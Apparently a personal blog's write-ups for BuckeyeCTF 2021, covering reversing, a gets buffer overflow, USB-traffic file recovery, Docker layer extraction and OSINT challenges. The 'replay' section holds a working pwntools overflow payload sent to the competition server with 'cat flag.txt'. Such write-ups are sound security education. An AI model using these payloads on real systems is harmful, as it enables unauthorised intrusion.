This page looks best with JavaScript enabled

BuckeyeCTF 2021 Writeups

Hosted by OSU's Cyber Security Club from 23 October - 25 October

 ·  ☕ 16 min read  ·  🌈🕊️ rainbowpigeon

Kinda disappointed I wasn’t able to do any Web ones (that weren’t solved already), but it’s alright. We got 7th place across all teams despite only having 4 members participating in this :)

Details Links
CTFtime.org Event Page https://ctftime.org/event/1434

rev

headless_horseman

Our sponsor, Battelle, donated this challenge. The challenge will be posted on their Cyber Challenge site at the beginning of BuckeyeCTF, and was created for this competition.

Be sure to select the Headless Horseman challenge, although there are others on their site not associated with BuckeyeCTF. Flag format: flag{…}

The actual challenge is https://www.battelle.org/cyber-challenge/unicorns-undercover, where headless_horseman.zip is provided for download. Below are the contents of the zip file.

1
2
3
4
5
6
7
8
9
distributed_files/
├── [4.0K]  body_bag
│   ├── [598K]  bloated_body
│   ├── [514K]  decomposing_body
│   └── [ 16K]  rotting_body
├── [ 17K]  headless_horseman
└── [ 842]  README.txt

1 directory, 5 files
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%% The Legend of the Headless Horseman %%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

A mysterious figure has been terrorizing the village of Sleepy Hollow.

He rides a massive horse, swings a mighty scythe and has been collecting heads from any who draw near.

A group of locals, Ichabod Crane, Katrina Van Tassel, and Abraham "Brom Bones" Van Brunt have been working to discover the secret behind this mysterious menace, but just as they were on the verge of putting the pieces together, the Headless Horseman Struck!

All that are left of the heros are some unidentifiable bodies with no heads!

Can you help put our heros back together, and figure out what secrets they uncovered? You'll first need to bargin with the horseman... bring some pumpkins with you.. a LOT of pumpkins.

Our goal is to identify the bodies (in body_bag folder) of Ichabod, Katrina, and Brom Bones.

Number check

The binary headless_horseman prompts you to enter the number of pumpkins you have, after which this number is checked in count_offering by first_count and second_count. All the code that will be seen below is pseudocode generated by IDA Pro.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
__int64 __fastcall count_offering(unsigned int n_pumpkins)
{
  if ( (unsigned int)first_count(n_pumpkins) )
  {
    puts("You hear a grunt of approval but the mumbling continues");
    sleep(2u);
    if ( (unsigned int)second_count(n_pumpkins) )
    {
      puts("The figure turns to you and nods, pulling out his bag of heads, dumping them on the ground in front of you");
      dump_heads(n_pumpkins);
      return 1LL;
    }
  // rest of the print statements omitted for brevity
  }
}

The upper WORD of the number input has to be 0xDEAD,

1
2
3
4
_BOOL8 __fastcall first_count(int a1)
{
  return (a1 & 0xFFFF0000) >> 16 == 0xDEAD;
}

while the lower WORD has to be 0xFACE.

1
2
3
4
_BOOL8 __fastcall second_count(unsigned __int16 a1)
{
  return a1 << 16 == 0xFACE0000;
}

so the number that should be given is 0xDEADFACE which is 3735943886. After the 2 number checks, dump_heads is called where 0xDEADFACE is used to XOR-decode contents that are written to 6 _head files.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
s = fopen("fetid_head", "wb");
stream = fopen("putrid_head", "wb");
v10 = fopen("dessicated_head", "wb");
v11 = fopen("moldy_head", "wb");
v12 = fopen("swollen_head", "wb");
v13 = fopen("shrunken_head", "wb");
for ( i = 0; i <= 15; ++i )
head1[i] ^= a1;
fwrite(head1, 0x40uLL, 1uLL, s);
for ( j = 0; j <= 15; ++j )
head2[j] ^= a1;
fwrite(head2, 0x40uLL, 1uLL, stream);
for ( k = 0; k <= 15; ++k )
head3[k] ^= a1;
// rest of head writes omitted for brevity
puts("A quick count indicates more heads than you were expecting, he is quite the collector!");
sleep(2u);
puts("well, you seem have gotten what you came for..time to start stitching");
sleep(1u);
puts(
"As you pick up the first head you begin to wonder which body it might belong to, and how on earth you might go about"
" reviving these poor souls...");
sleep(2u);
puts("maybe you can use the fabled Quick and Efficient Murder Un-Doer(QEMU for short)");

Matching head to body

According to the puts statements above, we need to match the 3 _body files in the given body_bag folder to their correct corresponding heads among the 6 XOR-decoded _head files. QEMU is suggested to help us, but we’ll see that this is not needed.
I first wrote a Python script to generate all the different combinations of head and body. All _head and _body files were placed in the same directory.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pathlib import Path

p = Path.cwd()

for head in p.glob("*_head"):
	for body in p.glob("*_body"):
		complete = head.stem.replace("_head", "") + body.stem.replace("_body", "")
		complete = "complete/" + complete + "_complete"
		with head.open("rb") as hfile:
			h = hfile.read()
		with body.open("rb") as bfile:
			b = bfile.read()
		with open(complete, "wb") as cfile:
			cfile.write(h+b)

Next, I ran file on all the files to see which of them are valid.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
root@kali:~/Downloads/heads/complete# file *
dessicatedbloated_complete:     ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, too large section header offset 546785024
dessicateddecomposing_complete: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, BuildID[sha1]=c96a5a55d131a48d6e034236330d1925e890f360, for GNU/Linux 3.2.0, not stripped
dessicatedrotting_complete:     ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, missing section headers
fetidbloated_complete:          ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically linked, too large section header offset 7998395292473925633
fetiddecomposing_complete:      ERROR: , statically linked error reading (Invalid argument)
fetidrotting_complete:          ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically linked, missing section headers
moldybloated_complete:          ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, BuildID[sha1]=fb3ef826027d1a22e0926cd609bc9453dab03662, for GNU/Linux 3.2.0, not stripped
moldydecomposing_complete:      ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, missing section headers
moldyrotting_complete:          ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, missing section headers
putridbloated_complete:         ERROR: , statically linked error reading (Invalid argument)
putriddecomposing_complete:     ERROR: , statically linked error reading (Invalid argument)
putridrotting_complete:         ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically linked, missing section headers
shrunkenbloated_complete:       ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), statically linked, too large section header offset 1208006063
shrunkendecomposing_complete:   ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), statically linked, too large section header offset 3942644575
shrunkenrotting_complete:       ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=46ee2457ce9871242b7ad74249a3a19091cd0c52, for GNU/Linux 3.2.0, not stripped
swollenbloated_complete:        ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically linked, too large section header offset 4611713765090526268
swollendecomposing_complete:    ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically linked, too large section header offset 1270226218358194178
swollenrotting_complete:        ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically linked, missing section headers

The majority of them have section header issues except for dessicateddecomposing_complete, moldybloated_complete and shrunkenrotting_complete which have proper BuildIDs detected too.

Katrina (XOR-decoding)

In dessicateddecomposing_complete, we see that the body belongs to Katrina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
puts("Katrina blinks awake, seeming a bit shocked ot be waking up again");
sleep(1);
puts(
"'Oh! hello there! just before the lights went out I was working with Ichabod and Brom to get rid of that pesky horseman for good!'");
sleep(2);
puts("'Drat! it looks like I encrypted my portion but I cant seem to remember what I used!'");
sleep(2);
puts(
"'can you help me out? I was never very creative with these things, maybe try the street I grew up on? or my Home Town?'");
printf("What should Katrina use as the decryption key? ");
fgets(key, 20, stdin);
puts("'You really think it's that?'");
sleep(1);
puts("'Well i'll give that a shot, does this look right?'");
for ( i = 0; i <= 13; ++i )
key[i] ^= encrpyted_words[i];

A 13 character string user input is taken and used to XOR-decode 13 bytes stored at encrpyted_words (the 14th byte is null). The encoded bytes are 21 09 04 09 1C 00 7F 24 00 1A 09 1C 28.
The puts statements suggest that the decryption key could be Katrina’s Home Town, so I tried Sleepy Hollow as mentioned in the Disney Fandom Wiki and it worked. Here’s the result in CyberChef.

Flag fragment: really_loves_

Ichabod (Environment Variable)

moldybloated_complete belongs to Ichabod.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int ichabod()
{
  int result; // $v0

  puts("Ichabod Crane gasps as life returns to his body");
  sleep(1);
  puts("He begins looking around frantically");
  sleep(1);
  if ( check_surroundings() )
  {
    puts("He appears to not find what he is looking for and collapses back to the ground");
    result = 0;
  }
  else
  {
    printf(
      "'ah, my trusty steed %s is here, all is well' he says, pulling something out of a saddlebag\n",
      horse_name[0]);
    sleep(1);
    puts("'Here, I don't have the whole secret, but here is the piece I was able to find'");
    print_incantation();
    result = 1;
  }
  return result;
}

check_surroundings() checks that the environment variable ICHABODS_HORSE is set to GUNPOWDER.

1
2
3
4
5
6
7
8
int check_surroundings()
{
  int v1; // [sp+1Ch] [+1Ch]

  v1 = getenv("ICHABODS_HORSE");
  puts(v1);
  return strcmp(v1, horse_name[0]);
}

Then, in print_incantation(), the flag is base64-decoded and printed. So actually we don’t even need to care about the environment variable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int print_incantation()
{
  int v0; // $v0
  int v1; // $a0
  int v3; // [sp+18h] [+18h] BYREF

  v3 = 0;
  v0 = b_decode("ZmxhZ3t0aGVfaG9yc2VtYW5fanVzdF8=", 32, &v3);
  puts(v0);
  return v1;
}

Flag fragment: flag{the_horseman_just_

Brom (Buffer Overflow)

The last body, shrunkenrotting_complete, belongs to Brom Bones (or Brom for short).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int result; // eax
char s[20]; // [esp+8h] [ebp-20h] BYREF
int v2; // [esp+1Ch] [ebp-Ch]

v2 = 0xDEADBEEF;
puts("Brom shakes himself off as he stands up");
sleep(1u);
puts("'Well that was certainly an experience' he says, 'thanks for the help!'");
sleep(2u);
puts("You see him shake his head.. 'though i'm not sure you screwed me back perfectly.. something feels a bit off'");
sleep(2u);
puts("'think you have any medicine to help straighten out my thoughts?'");
gets(s);
printf("Brom's eyes glaze over for a second and he writes down this number: 0x%x\n", v2);
if ( v2 == 'DAED' )
{
    puts("'WOW! I think that did the trick, it's all coming back to me now'");
    sleep(2u);
    puts("'here is my piece to this creepy puzzle, though I have no idea what it means..'");
    sleep(2u);
    print_flag();
    result = 1;
}
else
{
    puts("Brom shakes himself off again");
    sleep(1u);
    puts(
    	"'Nope, that didn't seem to do it.. could you try again? REALLY cram it down my throat, I want to be overflowing with medicine!'");
    result = 0;
}
return result;

v2 is initialized to 0xDEADBEEF at the start, but the desired value for the flag to be printed is 'DAED'. Since both s and v2 are stack variables, s is a buffer of 20 chars, and the insecure gets is called on s where no bounds checking is performed, the buffer of s can be overflowed and overwritten into v2.
We provide of payload of 20 characters + DEAD which will overwrite v2 with DAED due to little-endianness.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
root@kali:~/Downloads/heads/complete# ./shrunkenrotting_complete 
Brom shakes himself off as he stands up
'Well that was certainly an experience' he says, 'thanks for the help!'
You see him shake his head.. 'though i'm not sure you screwed me back perfectly.. something feels a bit off'
'think you have any medicine to help straighten out my thoughts?'
Aa0Aa1Aa2Aa3Aa4Aa5AaDEAD
Brom's eyes glaze over for a second and he writes down this number: 0x44414544
'WOW! I think that did the trick, it's all coming back to me now'
'here is my piece to this creepy puzzle, though I have no idea what it means..'
pumpkin_pie}

Flag fragment: pumpkin_pie}

Final Flag

Flag fragments: really_loves_, flag{the_horseman_just_, pumpkin_pie}
Final flag: flag{the_horseman_just_really_loves_pumpkin_pie}

misc

USB Exfiltration

Someone stole data from our servers and you need to figure out exactly what they took or you’re fired! We know they zipped the files then transferred them via USB somehow so here’s a capture of the USB traffic. You should be able to recover the files from that, right?

Attached: exfiltration.pcapng

There were lots of USB URB packets with small lengths (~60-~90) so I just ignored them and continued scrolling down until I found some interesting consistently large packets.

USB URB packets with small lengths in Wireshark

Large USB URB packet with PKZIP header bytes

The first large packet’s Leftover Capture Data starts with 50 4b 03 04 a.k.a “PK..” which are the header bytes for a ZIP file. This means that this is probably the ZIP file that is being exfiltrated.

Large USB URB packet with PKZIP trailer bytes

The last packet with a larger-than-usual length is also spotted to have the ZIP file trailer bytes 50 4B [17 characters] 00 00 00 as referenced from https://www.garykessler.net/library/file_sigs.html, thus confirming the transfer of an entire ZIP file.
We can filter for these large packets exfiltrated from host to 1.76.3 using the display filter usb.urb_type == 'S' and (usb.data_len > 200) and then form our ZIP file using the data bytes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import pyshark
import binascii
import zipfile
import io

cap = pyshark.FileCapture("exfiltration.pcapng", display_filter="usb.urb_type == 'S' and (usb.data_len > 200)")

data = ""

for packet in cap:
    data += packet.data.usb_capdata.raw_value
cap.close()

data = binascii.unhexlify(data)

with zipfile.ZipFile(io.BytesIO(data), "r") as zip_ref:
     print(zip_ref.namelist())
     zip_ref.extractall()
1
2
C:\Downloads\buckeye>exfiltration.py
['meme.png', 'flag.b64']

flag.b64 contains the flag base64-encoded: YnVja2V5ZXt3aHlfMXNudF83aDNyM180X2RpNTVlY3Qwcl80X3RoMXN9Cg==. Decoded in CyberChef.

Flag: buckeye{why_1snt_7h3r3_4_di55ect0r_4_th1s}

replay

Somebody pwned my app! Luckily I managed to capture the network traffic of their exploit. Oh by the way, the same app is also running on misc.chall.pwnoh.io on port 13371. Can you pwn it for me?

Attached: replay.pcap

TCP traffic captured in Wireshark shows long string sent followed by commands

The file captures traffic of what seems like a remote buffer overflow exploit as evident by the long string of alphabet letters. We just have to replay the traffic sent but modify the id command to cat flag.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

host = "misc.chall.pwnoh.io"
port = 13371

conn = remote(host, port)

conn.recvuntil(b"\n")

payload = [0x61, 0x61, 0x61, 0x61, 0x62, 0x61, 0x61, 0x61, 
0x63, 0x61, 0x61, 0x61, 0x64, 0x61, 0x61, 0x61, 
0x65, 0x61, 0x61, 0x61, 0x66, 0x61, 0x61, 0x61, 
0x67, 0x61, 0x61, 0x61, 0x68, 0x61, 0x61, 0x61, 
0x69, 0x61, 0x61, 0x61, 0x6a, 0x61, 0x61, 0x61, 
0x6b, 0x61, 0x61, 0x61, 0x6c, 0x61, 0x61, 0x61, 
0x6d, 0x61, 0x61, 0x61, 0x6e, 0x61, 0x61, 0x61, 
0x6f, 0x61, 0x61, 0x61, 0x70, 0x61, 0x61, 0x61, 
0x71, 0x61, 0x61, 0x61, 0x72, 0x61, 0x61, 0x61, 
0x73, 0x61, 0x61, 0x61, 0x74, 0x61, 0x61, 0x61, 
0x75, 0x61, 0x61, 0x61, 0x76, 0x61, 0x61, 0x61, 
0x77, 0x61, 0x61, 0x61, 0x78, 0x61, 0x61, 0x61, 
0x79, 0x61, 0x61, 0x61, 0x7a, 0x61, 0x61, 0x62, 
0x62, 0x61, 0x61, 0x62, 0x63, 0x61, 0x61, 0x62, 
0x64, 0x61, 0x61, 0x62, 0x65, 0x61, 0x61, 0x62, 
0x66, 0x61, 0x61, 0x62, 0x67, 0x61, 0x61, 0x62, 
0x68, 0x61, 0x61, 0x62, 0x69, 0x61, 0x61, 0x62, 
0x55, 0x11, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x57, 0x11, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x04, 0x20, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x3b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x57, 0x11, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x0a]

payload = bytearray(payload)

conn.send(payload)
conn.send(b"cat flag.txt\n")

flag = conn.recvline()

conn.close()
print(flag)
1
2
3
4
root@kali:~/Downloads# python3 buckeye.py 
[+] Opening connection to misc.chall.pwnoh.io on port 13371: Done
[*] Closed connection to misc.chall.pwnoh.io port 13371
b'buckeye{g00d_th1ng_P1E_w4s_d1s4bl3d_0n_th3_b1n4ry}\n

layers

Check out my brand new docker repo https://hub.docker.com/r/qxxxb/layers

If you visit the latest image tag/digest in Docker Hub, you can see that the image has 5 layers.

5 layers in the Docker Image viewed on Docker Hub

The flag was probably added in layer 1 then removed in layer 4. We can extract out flag.png which should be present in layer 2 using the following steps:

  • Pull the image with sudo docker pull qxxxb/layers:latest
  • Save the image to a tar file with sudo docker save qxxxb/layers -o layers.tar
  • Build docker-layer-extract from source with go build main.go
  • List layers with sudo ./main --imagefile layers.tar list
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
└─$ sudo ./main --imagefile layers.tar list                                                                                                      
Layer 0:
  Command: `/bin/sh -c #(nop) ADD file:aad4290d27580cc1a094ffaf98c3ca2fc5d699fe695dfb8e6e9fac20f1129450 in / `
  ID: e2eb06d8af8218cfec8210147357a68b7e13f7c485b991c288c2d01dc228bb68
  ImageLayerPath: b6de8ef6620e2bf1f0a3c69d4f07014920420dce477222b634926505502a7a3d/layer.tar
  Pax Headers: false
Layer 1:
  Command: `/bin/sh -c #(nop)  CMD ["/bin/sh"]`
  ID: a6951987fab1e53365680416db4c728a89783aa2b8c39bd2879aabfcffab95d9
  ImageLayerPath: cc9604c3800930f426cdf222371466ee443b3bc2e9e3ec34245bd8d0628e8389/layer.tar
  Pax Headers: false
Layer 2:
  Command: `/bin/sh -c #(nop) COPY multi:6b3bd56201fda034e0c0ecfb85c63beea97f53578db5e6c3724969278f2ff347 in / `
  ID: 3d2c9f04c82dbb90411e102ed7e2e49b412b03e2f0021a40d3af818e02cdd0f7
  ImageLayerPath: 4ec48680960b545216eeed612b5e9af2389b2070eec434345ddefb57fc6022cb/layer.tar
  Pax Headers: false
Layer 3:
  Command: `/bin/sh -c rm flag.png`
  ID: 50d11bbfd2f65f57406491bdd23baad9a62672b8080d243a590c37e7dc7eab73
  ImageLayerPath: a05c61fbde8f4e126b8ac5fb9b370185dbfad3f1aef366c062df7a763edd8507/layer.tar
  Pax Headers: false

Now, we can extract Layer 1 where the flag image should be present with sudo ./main --imagefile layers.tar extract --layerid a6951987fab1e53365680416db4c728a89783aa2b8c39bd2879aabfcffab95d9 --layerfile layer.tar.
We can confirm that the flag is now inside layer.tar:

1
2
3
└─$ tar -tf layer.tar                                                                                                                                                      2Dockerfile
flag.png

So just extract it with tar -xf layer.tar flag.png and we’re done!

Extracted image with flag

Flag: buckeye{D0CK3R_H4S_L4Y3RS}

Don’t Talk to Blue Birds

Gillian Owens is the head of Witch Security. She’s been oversharing on her personal accounts. Challenge type: OSINT. Note: flag format is flag{} for this challenge!

Search for “Witch Security” in Twitter, sort by latest, and you’ll see a tweet from @hackerbot2275 mentioning @witch_security which has the account name Gillian Owens.

Tweet mentioning @witch_security

One of her tweet replies to @0xfractals is https://pastebin.com/4KHrJcUX, which contains https://pastebin.com/qXDb43m1, which contains the flag.

Reply from @witch_security with pastebin link

Flag: flag{aggre55ive_Hall0we3n_prepArati0ns_Und3rw4y}

Open Source In(sta)telligence

Gillian Owens is the head of Witch Security. She’s been oversharing on her personal accounts. Challenge type: OSINT. Note: flag format is flag{} for this challenge!

Search on Instagram for Witch Security and you’ll come across witch_security1 with the name Gillian Owens in the account’s bio.

Instagram post with bit.ly link in image

One of her posts has a link in the image: bit.ly/3jgDwui which leads to https://pastebin.com/UgWRFWuB and contains the flag.

Flag: flag{spo00ky_szn_15_very_AestH3tic}


Thanks for reading!

Share on

rainbowpigeon
WRITTEN BY
rainbowpigeon
OSCP | OSED | Burp Suite Certified Practitioner